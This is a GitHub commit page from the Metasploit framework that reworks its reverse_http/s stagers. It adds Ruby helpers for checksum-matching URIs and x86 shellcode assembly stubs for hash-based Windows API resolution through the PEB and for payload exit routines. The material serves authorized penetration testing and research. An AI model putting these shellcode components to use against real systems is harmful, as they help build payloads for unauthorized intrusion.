Skip to content

Commit ceeee44

Browse files
author
Brent Cook
committed
Land rapid7#4904, @hmoore-r7 reworks reverse_http/s stagers
They are now assembled dynamically and support more flexible options, such as long URLs.
2 parents 02c7461 + 1d17e9a commit ceeee44

File tree

10 files changed

+649
-126
lines changed

10 files changed

+649
-126
lines changed

lib/msf/core/handler/reverse_http/uri_checksum.rb

Lines changed: 33 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,8 +76,11 @@ def process_uri_resource(uri_match)
7676
# Create a URI that matches a given checksum
7777
#
7878
# @param sum [Fixnum] The checksum value you are trying to create a URI for
79+
# @param len [Fixnum] An optional length value for the created URI
7980
# @return [String] The URI string that checksums to the given value
80-
def generate_uri_checksum(sum)
81+
def generate_uri_checksum(sum,len=nil)
82+
return generate_uri_checksum_with_length(sum, len) if len
83+
8184
chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
8285
32.times do
8386
uri = Rex::Text.rand_text_alphanumeric(3)
@@ -90,6 +93,35 @@ def generate_uri_checksum(sum)
9093
return URI_CHECKSUM_PRECALC[sum]
9194
end
9295

96+
# Create an arbitrary length URI that matches a given checksum
97+
#
98+
# @param sum [Fixnum] The checksum value you are trying to create a URI for
99+
# @param len [Fixnum] The length of the created URI
100+
# @return [String] The URI string that checksums to the given value
101+
def generate_uri_checksum_with_length(sum, len)
102+
# Lengths shorter than 4 bytes are unable to match all possible checksums
103+
# Lengths of exactly 4 are relatively slow to find for high checksum values
104+
# Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
105+
raise ArgumentError, "Length must be 5 bytes or greater" if len < 5
106+
107+
# Funny enough, this was more efficient than calculating checksum offsets
108+
if len < 40
109+
loop do
110+
uri = Rex::Text.rand_text_alphanumeric(len)
111+
return uri if Rex::Text.checksum8(uri) == sum
112+
end
113+
end
114+
115+
# The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes
116+
# Calculating a static prefix flattens out the average runtime for longer URIs
117+
prefix = Rex::Text.rand_text_alphanumeric(len-20)
118+
119+
loop do
120+
uri = prefix + Rex::Text.rand_text_alphanumeric(20)
121+
return uri if Rex::Text.checksum8(uri) == sum
122+
end
123+
end
124+
93125
end
94126
end
95127
end

lib/msf/core/payload/windows.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -150,5 +150,12 @@ def handle_intermediate_stage(conn, payload)
150150
return true
151151
end
152152

153+
#
154+
# Share the EXITFUNC mappings with other classes
155+
#
156+
def self.exit_types
157+
@@exit_types.dup
158+
end
159+
153160
end
154161

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
5+
module Msf
6+
7+
8+
###
9+
#
10+
# Basic block_api stubs for Windows ARCH_X86 payloads
11+
#
12+
###
13+
14+
15+
module Payload::Windows::BlockApi
16+
17+
def asm_block_api(opts={})
18+
19+
raw = %q^
20+
21+
api_call:
22+
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
23+
mov ebp, esp ; Create a new stack frame
24+
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
25+
mov edx, [fs:eax+48] ; Get a pointer to the PEB
26+
mov edx, [edx+12] ; Get PEB->Ldr
27+
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
28+
next_mod: ;
29+
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
30+
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
31+
xor edi, edi ; Clear EDI which will store the hash of the module name
32+
loop_modname: ;
33+
lodsb ; Read in the next byte of the name
34+
cmp al, 'a' ; Some versions of Windows use lower case module names
35+
jl not_lowercase ;
36+
sub al, 0x20 ; If so normalise to uppercase
37+
not_lowercase: ;
38+
ror edi, 13 ; Rotate right our hash value
39+
add edi, eax ; Add the next byte of the name
40+
loop loop_modname ; Loop untill we have read enough
41+
42+
; We now have the module hash computed
43+
push edx ; Save the current position in the module list for later
44+
push edi ; Save the current module hash for later
45+
; Proceed to iterate the export address table
46+
mov edx, [edx+16] ; Get this modules base address
47+
mov ecx, [edx+60] ; Get PE header
48+
49+
; use ecx as our EAT pointer here so we can take advantage of jecxz.
50+
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
51+
jecxz get_next_mod1 ; If no EAT present, process the next module
52+
add ecx, edx ; Add the modules base address
53+
push ecx ; Save the current modules EAT
54+
mov ebx, [ecx+32] ; Get the rva of the function names
55+
add ebx, edx ; Add the modules base address
56+
mov ecx, [ecx+24] ; Get the number of function names
57+
; now ecx returns to its regularly scheduled counter duties
58+
59+
; Computing the module hash + function hash
60+
get_next_func: ;
61+
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
62+
dec ecx ; Decrement the function name counter
63+
mov esi, [ebx+ecx*4] ; Get rva of next module name
64+
add esi, edx ; Add the modules base address
65+
xor edi, edi ; Clear EDI which will store the hash of the function name
66+
; And compare it to the one we want
67+
loop_funcname: ;
68+
lodsb ; Read in the next byte of the ASCII function name
69+
ror edi, 13 ; Rotate right our hash value
70+
add edi, eax ; Add the next byte of the name
71+
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
72+
jne loop_funcname ; If we have not reached the null terminator, continue
73+
add edi, [ebp-8] ; Add the current module hash to the function hash
74+
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
75+
jnz get_next_func ; Go compute the next function hash if we have not found it
76+
77+
; If found, fix up stack, call the function and then value else compute the next one...
78+
pop eax ; Restore the current modules EAT
79+
mov ebx, [eax+36] ; Get the ordinal table rva
80+
add ebx, edx ; Add the modules base address
81+
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
82+
mov ebx, [eax+28] ; Get the function addresses table rva
83+
add ebx, edx ; Add the modules base address
84+
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
85+
add eax, edx ; Add the modules base address to get the functions actual VA
86+
; We now fix up the stack and perform the call to the desired function...
87+
finish:
88+
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
89+
pop ebx ; Clear off the current modules hash
90+
pop ebx ; Clear off the current position in the module list
91+
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
92+
pop ecx ; Pop off the origional return address our caller will have pushed
93+
pop edx ; Pop off the hash value our caller will have pushed
94+
push ecx ; Push back the correct return value
95+
jmp eax ; Jump into the required function
96+
; We now automagically return to the correct caller...
97+
98+
get_next_mod: ;
99+
pop edi ; Pop off the current (now the previous) modules EAT
100+
get_next_mod1: ;
101+
pop edi ; Pop off the current (now the previous) modules hash
102+
pop edx ; Restore our position in the module list
103+
mov edx, [edx] ; Get the next module
104+
jmp.i8 next_mod ; Process this module
105+
^
106+
end
107+
108+
109+
end
110+
111+
end
112+
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows'
5+
module Msf
6+
7+
8+
###
9+
#
10+
# Implements arbitrary exit routines for Windows ARCH_X86 payloads
11+
#
12+
###
13+
14+
module Payload::Windows::Exitfunk
15+
16+
def asm_exitfunk(opts={})
17+
18+
asm = "exitfunk:\n"
19+
20+
case opts[:exitfunk]
21+
22+
when 'seh'
23+
asm << %Q^
24+
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
25+
push.i8 0 ; push the exit function parameter
26+
push ebx ; push the hash of the exit function
27+
call ebp ; SetUnhandledExceptionFilter(0)
28+
push.i8 0
29+
ret ; Return to NULL (crash)
30+
^
31+
32+
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
33+
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
34+
# automatically generate the right code depending on the selected exit method.
35+
36+
when 'thread'
37+
asm << %Q^
38+
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
39+
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
40+
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
41+
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
42+
jl exitfunk_goodbye ; Then just call the exit function...
43+
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
44+
jne exitfunk_goodbye ;
45+
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
46+
exitfunk_goodbye: ; We now perform the actual call to the exit function
47+
push.i8 0 ; push the exit function parameter
48+
push ebx ; push the hash of the exit function
49+
call ebp ; call ExitThread(0) || RtlExitUserThread(0)
50+
^
51+
52+
when 'process', nil
53+
asm << %Q^
54+
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
55+
push.i8 0 ; push the exit function parameter
56+
push ebx ; push the hash of the exit function
57+
call ebp ; ExitProcess(0)
58+
^
59+
60+
when 'sleep'
61+
asm << %Q^
62+
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
63+
push 300000 ; 300 seconds
64+
push ebx ; push the hash of the function
65+
call ebp ; Sleep(300000)
66+
jmp exitfunk ; repeat
67+
^
68+
else
69+
# Do nothing and continue after the end of the shellcode
70+
end
71+
72+
asm
73+
end
74+
75+
76+
end
77+
78+
end
79+

0 commit comments

Comments
 (0)